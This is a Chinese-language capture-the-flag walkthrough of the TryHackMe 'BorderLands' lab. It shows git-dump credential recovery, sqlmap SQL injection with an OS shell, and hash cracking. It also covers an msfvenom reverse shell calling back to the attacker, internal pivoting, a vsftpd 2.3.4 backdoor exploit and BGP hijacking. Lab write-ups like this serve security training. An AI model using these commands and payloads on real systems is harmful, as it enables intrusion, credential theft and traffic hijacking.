打靶记录(四五)之THMBorderLands
端口扫描
sudo nmap --min-rate 10000 -p- 10.10.36.235 |
sudo nmap -sT -sV -sC -O -p22,80,8080 10.10.36.235 |
Web
看上去是一个软件测试的网站,可以下载一个APK,这个先放一边。下面是有一个登录框但是没有凭证。扫一下目录,在上面能看到有一个.git。试一下gitdumper
python git_dumper.py http://10.10.36.235/.git/ ~/桌面/webapp |
在functions.php中能看到数据库凭证,先保存
$db_servername = "localhost";
$db_username = "root";
$db_password = "CCv4@he2MaHbIP7mB89TNKdei0VZ0Y";
$db_name = "myfirstwebsite";
还有个API.php,验证了一个apikey的参数
先试一下这个
访问:
http://10.10.36.235/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=1
只要传入的apikey满足那三个中一个就行,id随便传一个进去。在id参数输入引号后报错,用sqlmap跑一下
sqlmap -u 'http://10.10.36.235/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=1%27' -p documentid --dbs |
有注入!
sqlmap -u 'http://10.10.36.235/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=1%27' -p documentid -D myfirstwebsite --tables |
有documents和users两个表
sqlmap -u 'http://10.10.36.235/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=1%27' -p documentid -D myfirstwebsite -T users --dump |
得到一个billg用户和哈希
$2y$10$wWeyIzGcD7TVwZ7y7d3UCO5eEssZShTQzBU2yIebvvQQw1y676zVW
echo '$2y$10$wWeyIzGcD7TVwZ7y7d3UCO5eEssZShTQzBU2yIebvvQQw1y676zVW'>hash |
john --wordlist=/usr/share/wordlists/rockyou.txt hash |
得到密码:potato
Getshell
但是登录进去就只有几个PDF,阿哲。。。估计是兔子洞
sqlmap -u 'http://10.10.36.235/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=1%27' -p documentid --os-shell |
但是发现能直接拿到www-data权限的shell!估计是能够写马。
但是发现只能在/var/www/html目录活动不能CD至别的目录,但是能catflag
cat /var/www/flag.txt |
flag4
{FLAG:Webapp:48a5f4bfef44c8e9b34b926051ad35a6}
Git
突然发现房间里前面的几个flag还没找到哦。git必然是有用的
git log看一下
发现b2f776a52fe81a731c6c0fa896e7f9548aafceab移除了敏感文件,那就看一下79c9539b6566b06d6dec2755fdf58f5f9ec8822f中的敏感文件
git checkout 79c9539b6566b06d6dec2755fdf58f5f9ec8822f |
在api.php中
flag3
GITtFi80llzs4TxqMWtCotiTZpf0HC
然后在home.php
flag2
WEBLhvOJAH8d50Z4y5G5g4McG1GMGD
看来那个APK需要逆向了,放到jadx-gui,搜索apikey,存在一个变量encrypted_api_key,也就是说这个key被加密了
apktool d ~/下载/mobile-app-prototype.apk |
apk能直接解密好像?
grep -rn 'encrypted_api_key' |
递归查找这个字符串
得到加密的密文
CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo
还有之前api.php中的ANDVOWLDLAS5Q8OQZ2tu
不是很懂,WP说是维吉尼亚密码。也就是说
CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo是加密后的密文
ANDVOWLDLAS5Q8OQZ2tu这个是加密前的明文
原谅我真的不会这个 TAT
flag1
ANDVOWLDLAS5Q8OQZ2tuIPGcOu2mXk
提权
OK,让我们回到之前的sqlmap建立的shell,果然还是比较习惯用反弹shell
SQLmap自动帮我们生成了上传文件用的PHP脚本,浏览器中直接访问
/tmpbajai.php上传一个msf生成的php反弹shell,然后用sqlmap的上传来上传
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.11.38.245 LPORT=1234 R |
用msf接受shell,方便后续的文件上传
msf> use multi/handler |
浏览器中访问,接收到shell
upload nmap |
shell |
发现是有两张以太网卡,扫描一下eth1网卡
chmod +x nmap |
扫到一台172.16.1.128机器
./nmap --open -T5 -v -n -p- 172.16.1.128 |
PORT STATE SERVICE |
发现有开21ftp端口,做一个端口转发到本地
exit退出shell
portfwd add -l 21 -p 21 -r 172.16.1.128 |
在kali中
ftp localhost 21 |
得到FTP的版本vsFTPd 2.3.4
存在漏洞可以利用
还需要转发一个6200端口
portfwd add -l 6200 -p 6200 -r 172.16.1.128 |
https://github.com/Hellsender01/vsftpd_2.3.4_Exploit
利用exp
python3 exploit.py localhost |
flag5
{FLAG:Router1:c877f00ce2b886446395150589166dcd}
BGP劫持
稍微了解一下BGP劫持:
https://www.cloudflare.com/zh-cn/learning/security/glossary/bgp-hijacking/
在得到的rootshell中使用vytsh
systemctl start frr |
sudo vtysh |
config terminal |
router1.ctx.ctf(config)# router bgp 60001 |
tcpdump -i eth0 -A |
flag6
{FLAG:UDP:3bb271d020df6cbe599a46d20e9fcb3c}
flag7
{FLAG:TCP:8fb04648d6b2bd40af6581942fcf483e}
碎碎念
hard难度的靶机。。。感觉已经不止hard了,主要是考察的点实在是太多了。而且每个点都还有一定的难度,并且对于计算机网络知识还有一定的考验,最后那一块BGP劫持不是很懂,以后再研究了。